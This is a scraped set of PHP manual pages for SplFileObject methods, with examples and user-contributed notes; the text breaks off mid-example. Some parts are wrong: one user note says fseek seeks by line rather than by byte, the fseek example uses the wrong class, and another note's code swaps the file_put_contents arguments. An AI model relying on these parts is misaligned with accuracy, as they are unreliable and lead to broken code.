  • SplFileObject::setMaxLineLen — Set maximum line length
  • SplFileObject::__toString — Alias of SplFileObject::current
  • SplFileObject::valid — Not at EOF

User Contributed Notes

marcus at synchromedia dot co dot uk 17-Aug-2014 05:35
If you want to skip blank lines when reading a CSV file, you need *all * the flags:

$file->setFlags(SplFileObject::READ_CSV | SplFileObject::READ_AHEAD | SplFileObject::SKIP_EMPTY | SplFileObject::DROP_NEW_LINE);
Lars Gyrup Brink Nielsen 05-Sep-2013 10:46
Note that this class has a private (and thus, not documented) property that holds the file pointer. Combine this with the fact that there is no method to close the file handle, and you get into situations where you are not able to delete the file with unlink(), etc., because an SplFileObject still has a handle open.

To get around this issue, delete the SplFileObject like this:

---------------------------------------------------------------------
<?php
print "Declaring file object\n";
$file = new SplFileObject('example.txt');

print "Trying to delete file...\n";
unlink('example.txt');

print "Closing file object\n";
$file = null;

print "Deleting file...\n";
unlink('example.txt');

print 'File deleted!';
?>
---------------------------------------------------------------------

which will output:

---------------------------------------------------------------------
Declaring file object
Trying to delete file...

Warning: unlink(example.txt): Permission denied in file.php on line 6
Closing file object
Deleting file...
File deleted!
---------------------------------------------------------------------


Construct a new file object.

  • « SplFileObject
  • SplFileObject::current »
  • PHP Manual
  • SplFileObject
  • Construct a new file object.

SplFileObject::__construct

(PHP 5 >= 5.1.0)

SplFileObject::__construct — Construct a new file object.

Description

public SplFileObject::__construct ( string $filename [, string $open_mode = "r" [, bool $use_include_path = false [, resource $context ]]] )

Construct a new file object.

Parameters

filename

The file to read.

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

open_mode

The mode in which to open the file. See fopen() for a list of allowed modes.

use_include_path

Whether to search in the include_path for filename.

context

A valid context resource created with stream_context_create().

Return Values

No value is returned.

Errors/Exceptions

Throws a RuntimeException if the filename cannot be opened.

Examples

Example #1 SplFileObject::__construct() example

This example opens the current file and iterates over its contents line by line.

<?php
$file = new SplFileObject(__FILE__);
foreach ($file as $line_num => $line) {
    echo "Line $line_num is $line";
}
?>

The above example will output something similar to:

Line 0 is <?php
Line 1 is $file = new SplFileObject(__FILE__);
Line 2 is foreach ($file as $line_num => $line) {
Line 3 is     echo "Line $line_num is $line";
Line 4 is }
Line 5 is ?>

See Also

  • SplFileInfo::openFile() - Gets an SplFileObject object for the file
  • fopen() - Opens file or URL

User Contributed Notes

majna 21-Aug-2014 07:09
(PHP >= 5.3) If filename is a directory, a LogicException will be thrown: "Cannot use SplFileObject with directories"


Retrieve current line of file

  • « SplFileObject::__construct
  • SplFileObject::eof »
  • PHP Manual
  • SplFileObject
  • Retrieve current line of file

SplFileObject::current

(PHP 5 >= 5.1.0)

SplFileObject::current — Retrieve current line of file

Description

public string|array SplFileObject::current ( void )

Retrieves the current line of the file.

Parameters

This function has no parameters.

Return Values

Retrieves the current line of the file. If the SplFileObject::READ_CSV flag is set, this method returns an array containing the current line parsed as CSV data.

Examples

Example #1 SplFileObject::current() example

<?php
$file = new SplFileObject(__FILE__);
foreach ($file as $k => $line) {
   echo ($file->key() + 1) . ': ' . $file->current();
}
?>

The above example will output something similar to:

1: <?php
2: $file = new SplFileObject(__FILE__);
3: foreach ($file as $line) {
4:     echo ($file->key() + 1) . ': ' . $file->current();
5: }
6: ?>

See Also

  • SplFileObject::key() - Get line number
  • SplFileObject::seek() - Seek to specified line
  • SplFileObject::next() - Read next line
  • SplFileObject::rewind() - Rewind the file to the first line
  • SplFileObject::valid() - Not at EOF

User Contributed Notes

There are no user contributed notes for this page.


Reached end of file

  • « SplFileObject::current
  • SplFileObject::fflush »
  • PHP Manual
  • SplFileObject
  • Reached end of file

SplFileObject::eof

(PHP 5 >= 5.1.0)

SplFileObject::eof — Reached end of file

Description

public bool SplFileObject::eof ( void )

Determine whether the end of file has been reached

Parameters

This function has no parameters.

Return Values

Returns TRUE if file is at EOF, FALSE otherwise.

Examples

Example #1 SplFileObject::eof() example

<?php
$file = new SplFileObject("fruits.txt");
while ( ! $file->eof()) {
    echo $file->fgets();
}
?>

The above example will output something similar to:

apple
banana
cherry
date
elderberry

See Also

  • SplFileObject::valid() - Not at EOF
  • feof() - Tests for end-of-file on a file pointer

User Contributed Notes

There are no user contributed notes for this page.


Flushes the output to the file

  • « SplFileObject::eof
  • SplFileObject::fgetc »
  • PHP Manual
  • SplFileObject
  • Flushes the output to the file

SplFileObject::fflush

(PHP 5 >= 5.1.0)

SplFileObject::fflush — Flushes the output to the file

Description

public bool SplFileObject::fflush ( void )

Forces a write of all buffered output to the file.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 SplFileObject::fflush() example

<?php
$file = new SplFileObject('misc.txt', 'r+');
$file->rewind();
$file->fwrite("Foo");
$file->fflush();
$file->ftruncate($file->ftell());
?>

See Also

  • SplFileObject::fwrite() - Write to file

User Contributed Notes

There are no user contributed notes for this page.


Gets character from file

  • « SplFileObject::fflush
  • SplFileObject::fgetcsv »
  • PHP Manual
  • SplFileObject
  • Gets character from file

SplFileObject::fgetc

(PHP 5 >= 5.1.0)

SplFileObject::fgetc — Gets character from file

Description

public string SplFileObject::fgetc ( void )

Gets a character from the file.

Parameters

This function has no parameters.

Return Values

Returns a string containing a single character read from the file or FALSE on EOF.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 SplFileObject::fgetc() example

<?php
$file = new SplFileObject('file.txt');
while (false !== ($char = $file->fgetc())) {
    echo "$char\n";
}
?>

See Also

  • SplFileObject::fgets() - Gets line from file

User Contributed Notes

There are no user contributed notes for this page.


Gets line from file and parse as CSV fields

  • « SplFileObject::fgetc
  • SplFileObject::fgets »
  • PHP Manual
  • SplFileObject
  • Gets line from file and parse as CSV fields

SplFileObject::fgetcsv

(PHP 5 >= 5.1.0)

SplFileObject::fgetcsv — Gets line from file and parse as CSV fields

Description

 public array SplFileObject::fgetcsv
  ([ string $delimiter = ","
 [, string $enclosure = "\""
 [, string $escape = "\\"
]]] )

Gets a line from the file which is in CSV format and returns an array containing the fields read.

Parameters

delimiter

The field delimiter (one character only). Defaults as a comma or the value set using SplFileObject::setCsvControl().

enclosure

The field enclosure character (one character only). Defaults as a double quotation mark or the value set using SplFileObject::setCsvControl().

escape

The escape character (one character only). Defaults as a backslash (\) or the value set using SplFileObject::setCsvControl().

Return Values

Returns an indexed array containing the fields read, or FALSE on error.

Note:

A blank line in a CSV file will be returned as an array comprising a single NULL field unless using SplFileObject::SKIP_EMPTY | SplFileObject::DROP_NEW_LINE, in which case empty lines are skipped.

Examples

Example #1 SplFileObject::fgetcsv() example

<?php
$file = new SplFileObject("data.csv");
while (!$file->eof()) {
    var_dump($file->fgetcsv());
}
?>

Example #2 SplFileObject::READ_CSV example

<?php
$file = new SplFileObject("animals.csv");
$file->setFlags(SplFileObject::READ_CSV);
foreach ($file as $row) {
    list($animal, $class, $legs) = $row;
    printf("A %s is a %s with %d legs\n", $animal, $class, $legs);
}
?>

Contents of animals.csv

crocodile,reptile,4
dolphin,mammal,0
duck,bird,2
koala,mammal,4
salmon,fish,0

The above example will output something similar to:

A crocodile is a reptile with 4 legs
A dolphin is a mammal with 0 legs
A duck is a bird with 2 legs
A koala is a mammal with 4 legs
A salmon is a fish with 0 legs

See Also

  • SplFileObject::setCsvControl() - Set the delimiter and enclosure character for CSV
  • SplFileObject::setFlags() - Sets flags for the SplFileObject
  • SplFileObject::READ_CSV
  • SplFileObject::current() - Retrieve current line of file

User Contributed Notes

vaughn dot clayton+php at servicetrade dot com 14-Nov-2012 11:15
Note that due to bugs 55807 and 61032, introduced in 5.3.8, if the csv in example #2 has a newline character at the end of each line, the foreach will execute 6 times.

The last time through the loop $row will be bool(false). This is true even if using SplFileObject::SKIP_EMPTY and SplFileObject::DROP_NEW_LINE.

Until the bug is fixed, the workaround is to also add SplFileObject::READ_AHEAD to your setFlags() call.
v-fpiris at teknober dot com 21-May-2011 04:56
after setting the delimiter '\t' fgetcsv() truncates the value when it is empty string

workaround:

<?php
$file = new SplFileObject($path);
$file->setFlags(SplFileObject::DROP_NEW_LINE);
while ($file->valid()) {
    $line = $file->fgets();
    $line = explode("\t", $line);

    print_r($line);
}
?>


Gets line from file

  • « SplFileObject::fgetcsv
  • SplFileObject::fgetss »
  • PHP Manual
  • SplFileObject
  • Gets line from file

SplFileObject::fgets

(PHP 5 >= 5.1.0)

SplFileObject::fgets — Gets line from file

Description

public string SplFileObject::fgets ( void )

Gets a line from the file.

Parameters

This function has no parameters.

Return Values

Returns a string containing the next line from the file, or FALSE on error.

Errors/Exceptions

Throws a RuntimeException if the file cannot be read.

Examples

Example #1 SplFileObject::fgets() example

This example simply outputs the contents of file.txt line-by-line.

<?php
$file = new SplFileObject("file.txt");
while (!$file->eof()) {
    echo $file->fgets();
}
?>

See Also

  • fgets() - Gets line from file pointer
  • SplFileObject::fgetss() - Gets line from file and strip HTML tags
  • SplFileObject::fgetc() - Gets character from file
  • SplFileObject::current() - Retrieve current line of file

User Contributed Notes

There are no user contributed notes for this page.


Gets line from file and strip HTML tags

  • « SplFileObject::fgets
  • SplFileObject::flock »
  • PHP Manual
  • SplFileObject
  • Gets line from file and strip HTML tags

SplFileObject::fgetss

(PHP 5 >= 5.1.0)

SplFileObject::fgetss — Gets line from file and strip HTML tags

Description

public string SplFileObject::fgetss ([ string $allowable_tags ] )

Identical to SplFileObject::fgets(), except that SplFileObject::fgetss() attempts to strip any HTML and PHP tags from the text it reads.

Parameters

allowable_tags

Optional parameter to specify tags which should not be stripped.

Return Values

Returns a string containing the next line of the file with HTML and PHP code stripped, or FALSE on error.

Examples

Example #1 SplFileObject::fgetss() example

<?php
$str = <<<EOD
<html><body>
 <p>Welcome! Today is the <?php echo(date('jS')); ?> of <?= date('F'); ?>.</p>
</body></html>
Text outside of the HTML block.
EOD;
file_put_contents("sample.php", $str);

$file = new SplFileObject("sample.php");
while (!$file->eof()) {
    echo $file->fgetss();
}
?>

The above example will output something similar to:

 Welcome! Today is the  of .

Text outside of the HTML block.

See Also

  • fgetss() - Gets line from file pointer and strip HTML tags
  • SplFileObject::fgets() - Gets line from file
  • SplFileObject::fgetc() - Gets character from file
  • SplFileObject::current() - Retrieve current line of file

User Contributed Notes

There are no user contributed notes for this page.


Portable file locking

  • « SplFileObject::fgetss
  • SplFileObject::fpassthru »
  • PHP Manual
  • SplFileObject
  • Portable file locking

SplFileObject::flock

(PHP 5 >= 5.1.0)

SplFileObject::flock — Portable file locking

Description

public bool SplFileObject::flock ( int $operation [, int &$wouldblock ] )

Locks or unlocks the file in the same portable way as flock().

Parameters

operation

operation is one of the following:

  • LOCK_SH to acquire a shared lock (reader).
  • LOCK_EX to acquire an exclusive lock (writer).
  • LOCK_UN to release a lock (shared or exclusive).
  • LOCK_NB to not block while locking (not supported on Windows).

wouldblock

Set to TRUE if the lock would block (EWOULDBLOCK errno condition).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 SplFileObject::flock() example

<?php
$file = new SplFileObject("/tmp/lock.txt", "w");
if ($file->flock(LOCK_EX)) { // do an exclusive lock
    $file->ftruncate(0);     // truncate file
    $file->fwrite("Write something here\n");
    $file->flock(LOCK_UN);   // release the lock
} else {
    echo "Couldn't get the lock!";
}
?>

See Also

  • flock() - Portable advisory file locking

User Contributed Notes

digitalprecision at gmail dot com 24-Dec-2010 11:48
For the record, the example given here has an explicit command to truncate the file, however with a 'write mode' of 'w', it will do this for you automatically, so the truncate call is not needed.


Output all remaining data on a file pointer

  • « SplFileObject::flock
  • SplFileObject::fputcsv »
  • PHP Manual
  • SplFileObject
  • Output all remaining data on a file pointer

SplFileObject::fpassthru

(PHP 5 >= 5.1.0)

SplFileObject::fpassthru — Output all remaining data on a file pointer

Description

public int SplFileObject::fpassthru ( void )

Reads to EOF on the given file pointer from the current position and writes the results to the output buffer.

You may need to call SplFileObject::rewind() to reset the file pointer to the beginning of the file if you have already written data to the file.

Parameters

This function has no parameters.

Return Values

Returns the number of characters read from handle and passed through to the output.

Examples

Example #1 SplFileObject::fpassthru() example

<?php

// Open the file in binary mode
$file = new SplFileObject("./img/ok.png", "rb");

// Send the right headers
header("Content-Type: image/png");
header("Content-Length: " . $file->getSize());

// Dump the picture and end script
$file->fpassthru();
exit;

?>

See Also

  • fpassthru() - Output all remaining data on a file pointer

User Contributed Notes

There are no user contributed notes for this page.


Write a field array as a CSV line

  • « SplFileObject::fpassthru
  • SplFileObject::fread »
  • PHP Manual
  • SplFileObject
  • Write a field array as a CSV line

SplFileObject::fputcsv

(PHP 5 >= 5.4.0)

SplFileObject::fputcsv — Write a field array as a CSV line

Description

public int SplFileObject::fputcsv ( array $fields [, string $delimiter = "," [, string $enclosure = '"' ]] )

Writes the fields array to the file as a CSV line.

Parameters

fields

An array of values.

delimiter

The optional delimiter parameter sets the field delimiter (one character only).

enclosure

The optional enclosure parameter sets the field enclosure (one character only).

Return Values

Returns the length of the written string or FALSE on failure.

Returns FALSE, and does not write the CSV line to the file, if the delimiter or enclosure parameter is not a single character.

Errors/Exceptions

An E_WARNING level error is issued if the delimiter or enclosure parameter is not a single character.

Examples

Example #1 SplFileObject::fputcsv() example

<?php

$list = array (
    array('aaa', 'bbb', 'ccc', 'dddd'),
    array('123', '456', '789'),
    array('"aaa"', '"bbb"')
);

$file = new SplFileObject('file.csv', 'w');

foreach ($list as $fields) {
    $file->fputcsv($fields);
}

?>

The above example will write the following to file.csv:

aaa,bbb,ccc,dddd
123,456,789
"""aaa""","""bbb"""

See Also

  • fputcsv() - Format line as CSV and write to file pointer
  • SplFileObject::fgetcsv() - Gets line from file and parse as CSV fields

User Contributed Notes

sergiy dot sokolenko at gmail dot com 25-Jan-2012 10:17
This method is available in PHP 5.4 and it is just a wrapper over php.net/fputcsv.


Read from file

  • « SplFileObject::fputcsv
  • SplFileObject::fscanf »
  • PHP Manual
  • SplFileObject
  • Read from file

SplFileObject::fread

(PHP 5 >= 5.5.11)

SplFileObject::fread — Read from file

Description

public string SplFileObject::fread ( int $length )

Reads the given number of bytes from the file.

Parameters

length

The number of bytes to read.

Return Values

Returns the string read from the file or FALSE on failure.

Examples

Example #1 SplFileObject::fread() example

<?php
// Get contents of a file into a string
$filename = "/usr/local/something.txt";
$file = new SplFileObject($filename, "r");
$contents = $file->fread($file->getSize());
?>

Notes

Note:

Note that SplFileObject::fread() reads from the current position of the file pointer. Use SplFileObject::ftell() to find the current position of the pointer and SplFileObject::rewind() (or SplFileObject::fseek()) to rewind the pointer position.

See Also

  • fread() - Binary-safe file read

User Contributed Notes

There are no user contributed notes for this page.


Parses input from file according to a format

  • « SplFileObject::fread
  • SplFileObject::fseek »
  • PHP Manual
  • SplFileObject
  • Parses input from file according to a format

SplFileObject::fscanf

(PHP 5 >= 5.1.0)

SplFileObject::fscanf — Parses input from file according to a format

Description

public mixed SplFileObject::fscanf ( string $format [, mixed &$... ] )

Reads a line from the file and interprets it according to the specified format, which is described in the documentation for sprintf().

Any whitespace in the format string matches any whitespace in the line from the file. This means that even a tab \t in the format string can match a single space character in the input stream.

Parameters

format

The specified format as described in the sprintf() documentation.

...

The optional assigned values.

Return Values

If only one parameter is passed to this method, the values parsed will be returned as an array. Otherwise, if optional parameters are passed, the function will return the number of assigned values. The optional parameters must be passed by reference.

Examples

Example #1 SplFileObject::fscanf() example

<?php
$file = new SplFileObject("misc.txt");
while ($userinfo = $file->fscanf("%s %s %s")) {
    list ($name, $profession, $countrycode) = $userinfo;
    // Do something with $name $professi
}
?>

Contents of users.txt

javier   argonaut    pe
hiroshi  sculptor    jp
robert   slacker     us
luigi    florist     it

See Also

  • fscanf() - Parses input from a file according to a format

User Contributed Notes

There are no user contributed notes for this page.


Seek to a position

  • « SplFileObject::fscanf
  • SplFileObject::fstat »
  • PHP Manual
  • SplFileObject
  • Seek to a position

SplFileObject::fseek

(PHP 5 >= 5.1.0)

SplFileObject::fseek — Seek to a position

Description

public int SplFileObject::fseek ( int $offset [, int $whence = SEEK_SET ] )

Seek to a position in the file measured in bytes from the beginning of the file, obtained by adding offset to the position specified by whence.

Parameters

offset

The offset. A negative value can be used to move backwards through the file which is useful when SEEK_END is used as the whence value.

whence

whence values are:

  • SEEK_SET - Set position equal to offset bytes.
  • SEEK_CUR - Set position to current location plus offset.
  • SEEK_END - Set position to end-of-file plus offset.

If whence is not specified, it is assumed to be SEEK_SET.

Return Values

Returns 0 if the seek was successful, -1 otherwise. Note that seeking past EOF is not considered an error.

Examples

Example #1 SplFileObject::fseek() example

<?php
$file = new SplFileInfo("somefile.txt");

// Read first line
$data = $file->fgets();

// Move back to the beginning of the file
// Same as $file->rewind();
$file->fseek(0);
?>

See Also

  • fseek() - Seeks on a file pointer

User Contributed Notes

wangbuying at gmail dot com 28-Aug-2013 08:25
make sure you know this fseek in SplFileObject is different from \fseek.
Argument for fseek in SplFileObject is the line number, not the bytes.
Example:
<?php
$fp = new SplFileObject('./fseek.txt', 'rb');
$fp->fseek(70); // now go to line 70, not byte 70
echo $fp->fgets();
?>


Gets information about the file

  • « SplFileObject::fseek
  • SplFileObject::ftell »
  • PHP Manual
  • SplFileObject
  • Gets information about the file

SplFileObject::fstat

(PHP 5 >= 5.1.0)

SplFileObject::fstat — Gets information about the file

Description

public array SplFileObject::fstat ( void )

Gathers the statistics of the file. Behaves identically to fstat().

Parameters

This function has no parameters.

Return Values

Returns an array with the statistics of the file; the format of the array is described in detail on the stat() manual page.

Examples

Example #1 SplFileObject::fstat() example

<?php
$file = new SplFileObject("/etc/passwd");
$stat = $file->fstat();

// Print only the associative part
print_r(array_slice($stat, 13));

?>

The above example will output something similar to:

Array
(
    [dev] => 771
    [ino] => 488704
    [mode] => 33188
    [nlink] => 1
    [uid] => 0
    [gid] => 0
    [rdev] => 0
    [size] => 1114
    [atime] => 1061067181
    [mtime] => 1056136526
    [ctime] => 1056136526
    [blksize] => 4096
    [blocks] => 8
)

See Also

  • fstat() - Gets information about a file using an open file pointer
  • stat() - Gives information about a file

User Contributed Notes

There are no user contributed notes for this page.


Return current file position

  • « SplFileObject::fstat
  • SplFileObject::ftruncate »
  • PHP Manual
  • SplFileObject
  • Return current file position

SplFileObject::ftell

(PHP 5 >= 5.1.0)

SplFileObject::ftell — Return current file position

Description

public int SplFileObject::ftell ( void )

Returns the position of the file pointer which represents the current offset in the file stream.

Parameters

This function has no parameters.

Return Values

Returns the position of the file pointer as an integer, or FALSE on error.

Examples

Example #1 SplFileObject::ftell() example

<?php
$file = new SplFileObject("/etc/passwd");

// Read first line
$data = $file->fgets();

// Where are we?
echo $file->ftell();
?>

See Also

  • ftell() - Returns the current position of the file read/write pointer

User Contributed Notes

There are no user contributed notes for this page.


Truncates the file to a given length

  • « SplFileObject::ftell
  • SplFileObject::fwrite »
  • PHP Manual
  • SplFileObject
  • Truncates the file to a given length

SplFileObject::ftruncate

(PHP 5 >= 5.1.0)

SplFileObject::ftruncate — Truncates the file to a given length

Description

public bool SplFileObject::ftruncate ( int $size )

Truncates the file to size bytes.

Parameters

size

The size to truncate to.

Note:

If size is larger than the file it is extended with null bytes.

If size is smaller than the file, the extra data will be lost.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 SplFileObject::ftruncate() example

<?php
// Create file containing "Hello World!"
$file = new SplFileObject("/tmp/ftruncate", "w+");
$file->fwrite("Hello World!");

// Truncate to 5 bytes
$file->ftruncate(5);

// Rewind and read data
$file->rewind();
echo $file->fgets();
?>

The above example will output something similar to:

Hello

See Also

  • ftruncate() - Truncates a file to a given length

User Contributed Notes

There are no user contributed notes for this page.


Write to file

  • « SplFileObject::ftruncate
  • SplFileObject::getChildren »
  • PHP Manual
  • SplFileObject
  • Write to file

SplFileObject::fwrite

(PHP 5 >= 5.1.0)

SplFileObject::fwrite — Write to file

Description

public int SplFileObject::fwrite ( string $str [, int $length ] )

Writes the contents of string to the file

Parameters

str

The string to be written to the file.

length

If the length argument is given, writing will stop after length bytes have been written or the end of string is reached, whichever comes first.

Return Values

Returns the number of bytes written, or NULL on error.

Examples

Example #1 SplFileObject::fwrite() example

<?php
$file = new SplFileObject("fwrite.txt", "w");
$written = $file->fwrite("12345");
echo "Wrote $written bytes to file";
?>

The above example will output something similar to:

Wrote 5 bytes to file

See Also

  • fwrite() - Binary-safe file write

User Contributed Notes

bas dot hilbers at tribal-im dot com 07-Nov-2013 09:47
Your \SplFileObject will not throw an exception when trying to write to a non-writeable stream!

I forgot to set the second parameter on my \SplFileObject constructor (the mode), costing me minutes to figure out why nothing was writter by the fwrite method...

Just to let you know!


No purpose

  • « SplFileObject::fwrite
  • SplFileObject::getCsvControl »
  • PHP Manual
  • SplFileObject
  • No purpose

SplFileObject::getChildren

(PHP 5 >= 5.1.0)

SplFileObject::getChildren — No purpose

Description

public void SplFileObject::getChildren ( void )

An SplFileObject does not have children so this method returns NULL.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • RecursiveIterator::getChildren() - Returns an iterator for the current entry.

User Contributed Notes

There are no user contributed notes for this page.


Get the delimiter and enclosure character for CSV

  • « SplFileObject::getChildren
  • SplFileObject::getCurrentLine »
  • PHP Manual
  • SplFileObject
  • Get the delimiter and enclosure character for CSV

SplFileObject::getCsvControl

(PHP 5 >= 5.2.0)

SplFileObject::getCsvControl — Get the delimiter and enclosure character for CSV

Description

public array SplFileObject::getCsvControl ( void )

Gets the delimiter and enclosure character used for parsing CSV fields.

Parameters

This function has no parameters.

Return Values

Returns an indexed array containing the delimiter and enclosure character.

Examples

Example #1 SplFileObject::getCsvControl() example

<?php
$file = new SplFileObject("data.txt");
print_r($file->getCsvControl());
?>

The above example will output something similar to:

Array
(
    [0] => ,
    [1] => "
)

See Also

  • SplFileObject::setCsvControl() - Set the delimiter and enclosure character for CSV
  • SplFileObject::fgetcsv() - Gets line from file and parse as CSV fields

User Contributed Notes

Anonymous 11-Sep-2013 11:07
Seems that this function always returns the same delimiter.

<?php
file_put_contents("A;B;C;D\n0;0;0;0", "test.txt");

$file = new SplFileObject("test.txt");
var_dump($file->getCsvControl());
?>

array(2) {
  [0]=>
  string(1) ","
  [1]=>
  string(1) """
}


Alias of SplFileObject::fgets

  • « SplFileObject::getCsvControl
  • SplFileObject::getFlags »
  • PHP Manual
  • SplFileObject
  • Alias of SplFileObject::fgets

SplFileObject::getCurrentLine

(PHP 5 >= 5.1.2)

SplFileObject::getCurrentLine — Alias of SplFileObject::fgets()

Description

This method is an alias of SplFileObject::fgets().

User Contributed Notes

There are no user contributed notes for this page.


Gets flags for the SplFileObject

  • « SplFileObject::getCurrentLine
  • SplFileObject::getMaxLineLen »
  • PHP Manual
  • SplFileObject
  • Gets flags for the SplFileObject

SplFileObject::getFlags

(PHP 5 >= 5.1.0)

SplFileObject::getFlags — Gets flags for the SplFileObject

Description

public int SplFileObject::getFlags ( void )

Gets the flags set for an instance of SplFileObject as an integer.

Parameters

This function has no parameters.

Return Values

Returns an integer representing the flags.

Examples

Example #1 SplFileObject::getFlags() example

<?php
$file = new SplFileObject(__FILE__, "r");

if ($file->getFlags() & SplFileObject::SKIP_EMPTY) {
    echo "Skipping empty lines\n";
} else {
    echo "Not skipping empty lines\n";
}

$file->setFlags(SplFileObject::SKIP_EMPTY);

if ($file->getFlags() & SplFileObject::SKIP_EMPTY) {
    echo "Skipping empty lines\n";
} else {
    echo "Not skipping empty lines\n";
}
?>

The above example will output something similar to:

Not skipping empty lines
Skipping empty lines

See Also

  • SplFileObject::setFlags() - Sets flags for the SplFileObject

User Contributed Notes

There are no user contributed notes for this page.


Get maximum line length

  • « SplFileObject::getFlags
  • SplFileObject::hasChildren »
  • PHP Manual
  • SplFileObject
  • Get maximum line length

SplFileObject::getMaxLineLen

(PHP 5 >= 5.1.0)

SplFileObject::getMaxLineLen — Get maximum line length

Description

public int SplFileObject::getMaxLineLen ( void )

Gets the maximum line length as set by SplFileObject::setMaxLineLen().

Parameters

This function has no parameters.

Return Values

Returns the maximum line length if one has been set with SplFileObject::setMaxLineLen(), default is 0.

Examples

Example #1 SplFileObject::getMaxLineLen() example

<?php
$file = new SplFileObject("file.txt");
var_dump($file->getMaxLineLen());

$file->setMaxLineLen(20);
var_dump($file->getMaxLineLen());
?>

The above example will output something similar to:

int(0)
int(20)

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


SplFileObject does not have children

  • « SplFileObject::getMaxLineLen
  • SplFileObject::key »
  • PHP Manual
  • SplFileObject
  • SplFileObject does not have children

SplFileObject::hasChildren

(PHP 5 >= 5.1.2)

SplFileObject::hasChildren — SplFileObject does not have children

Description

public bool SplFileObject::hasChildren ( void )

An SplFileObject does not have children so this method always return FALSE.

Parameters

This function has no parameters.

Return Values

Returns FALSE

See Also

  • RecursiveIterator::hasChildren() - Returns if an iterator can be created fot the current entry.

User Contributed Notes

There are no user contributed notes for this page.


Get line number

  • « SplFileObject::hasChildren
  • SplFileObject::next »
  • PHP Manual
  • SplFileObject
  • Get line number

SplFileObject::key

(PHP 5 >= 5.1.0)

SplFileObject::key — Get line number

Description

public int SplFileObject::key ( void )

Gets the current line number.

Note:

This number may not reflect the actual line number in the file if SplFileObject::setMaxLineLen() is used to read fixed lengths of the file.

Parameters

This function has no parameters.

Return Values

Returns the current line number.

Examples

Example #1 SplFileObject::key() example

<?php
$file = new SplFileObject("lipsum.txt");
foreach ($file as $line) {
    echo $file->key() . ". " . $line;
}
?>

The above example will output something similar to:

0. Lorem ipsum dolor sit amet, consectetur adipiscing elit.
1. Duis nec sapien felis, ac sodales nisl.
2. Lorem ipsum dolor sit amet, consectetur adipiscing elit.

Example #2 SplFileObject::key() example with SplFileObject::setMaxLineLen()

<?php
$file = new SplFileObject("lipsum.txt");
$file->setMaxLineLen(20);
foreach ($file as $line) {
    echo $file->key() . ". " . $line . "\n";
}
?>

The above example will output something similar to:

0. Lorem ipsum dolor s
1. it amet, consectetu
2. r adipiscing elit.
3.

4. Duis nec sapien fel
5. is, ac sodales nisl
6. .

7. Lorem ipsum dolor s
8. it amet, consectetu
9. r adipiscing elit.

See Also

  • SplFileObject::current() - Retrieve current line of file
  • SplFileObject::seek() - Seek to specified line
  • SplFileObject::next() - Read next line
  • SplFileObject::rewind() - Rewind the file to the first line
  • SplFileObject::valid() - Not at EOF

User Contributed Notes

There are no user contributed notes for this page.


Read next line

  • « SplFileObject::key
  • SplFileObject::rewind »
  • PHP Manual
  • SplFileObject
  • Read next line

SplFileObject::next

(PHP 5 >= 5.1.0)

SplFileObject::next — Read next line

Description

public void SplFileObject::next ( void )

Moves ahead to the next line in the file.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 SplFileObject::next() example

<?php
// Read through file line by line
$file = new SplFileObject("misc.txt");
while (!$file->eof()) {
    echo $file->current();
    $file->next();
}
?>

See Also

  • SplFileObject::current() - Retrieve current line of file
  • SplFileObject::key() - Get line number
  • SplFileObject::seek() - Seek to specified line
  • SplFileObject::rewind() - Rewind the file to the first line
  • SplFileObject::valid() - Not at EOF

User Contributed Notes

There are no user contributed notes for this page.


Rewind the file to the first line

  • « SplFileObject::next
  • SplFileObject::seek »
  • PHP Manual
  • SplFileObject
  • Rewind the file to the first line

SplFileObject::rewind

(PHP 5 >= 5.1.0)

SplFileObject::rewind — Rewind the file to the first line

Description

public void SplFileObject::rewind ( void )

Rewinds the file back to the first line.

Parameters

This function has no parameters.

Return Values

No value is returned.

Errors/Exceptions

Throws a RuntimeException if cannot be rewound.

Examples

Example #1 SplFileObject::rewind() example

<?php
$file = new SplFileObject("misc.txt");

// Loop over whole file
foreach ($file as $line) { }

// Rewind to first line
$file->rewind();

// Output first line
echo $file->current();
?>

See Also

  • SplFileObject::current() - Retrieve current line of file
  • SplFileObject::key() - Get line number
  • SplFileObject::seek() - Seek to specified line
  • SplFileObject::next() - Read next line
  • SplFileObject::valid() - Not at EOF

User Contributed Notes

There are no user contributed notes for this page.


Seek to specified line

  • « SplFileObject::rewind
  • SplFileObject::setCsvControl »
  • PHP Manual
  • SplFileObject
  • Seek to specified line

SplFileObject::seek

(PHP 5 >= 5.1.0)

SplFileObject::seek — Seek to specified line

Description

public void SplFileObject::seek ( int $line_pos )

Seek to specified line in the file.

Parameters

line_pos

The zero-based line number to seek to.

Return Values

No value is returned.

Errors/Exceptions

Throws a LogicException if the line_pos is negative.

Examples

Example #1 SplFileObject::seek() example

This example outputs the third line of the script which is found at position 2.

<?php
$file = new SplFileObject(__FILE__);
$file->seek(2);
echo $file->current();
?>

The above example will output something similar to:

$file->seek(2);

See Also

  • SplFileObject::current() - Retrieve current line of file
  • SplFileObject::key() - Get line number
  • SplFileObject::next() - Read next line
  • SplFileObject::rewind() - Rewind the file to the first line
  • SplFileObject::valid() - Not at EOF

User Contributed Notes

There are no user contributed notes for this page.


Set the delimiter and enclosure character for CSV

  • « SplFileObject::seek
  • SplFileObject::setFlags »
  • PHP Manual
  • SplFileObject
  • Set the delimiter and enclosure character for CSV

SplFileObject::setCsvControl

(PHP 5 >= 5.2.0)

SplFileObject::setCsvControl — Set the delimiter and enclosure character for CSV

Description

 public void SplFileObject::setCsvControl
  ([ string $delimiter = ","
 [, string $enclosure = "\""
 [, string $escape = "\\"
]]] )

Sets the delimiter and enclosure character for parsing CSV fields.

Parameters

delimiter

The field delimiter (one character only).

enclosure

The field enclosure character (one character only).

escape

The field escape character (one character only).

Return Values

No value is returned.

Examples

Example #1 SplFileObject::setCsvControl() example

<?php
$file = new SplFileObject("data.csv");
$file->setFlags(SplFileObject::READ_CSV);
$file->setCsvControl('|');
